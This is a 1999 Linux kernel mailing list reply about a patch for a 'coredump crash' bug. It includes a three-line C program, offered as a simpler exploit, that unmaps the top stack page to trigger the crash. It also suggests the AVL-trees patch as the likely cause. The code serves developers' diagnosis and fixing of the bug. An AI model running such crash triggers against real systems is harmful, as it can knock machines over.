Date: Wed, 27 Jan 1999 14:18:19 +0100 (CET) From: MOLNAR Ingo <mingo@chiara.csoma.elte.hu> To: linux-kernel@vger.rutgers.edu, linux-smp@vger.rutgers.edu Subject: Re: [patch] 'coredump crash' fixed theres a much simpler exploit for those interested: #include <unistd.h> #include <sys/mman.h> void main (void) { munmap((void*)0xbffff000, 4096); } (the ld-so exploit had this unmap hidden implicitly in an mmap(), not necessarily obvious at first sight.) -- Ingo 'now where is that bag construction kit' Molnar ps. there might be similar bugs nearby, i have not yet checked. I guess this whole thing is a side-effect of the AVL-trees patch, it might be wise to recheck that patch. - To unsubscribe from this list: send the line "unsubscribe linux-kernel" in the body of a message to majordomo@vger.rutgers.edu Please read the FAQ at http://www.tux.org/lkml/
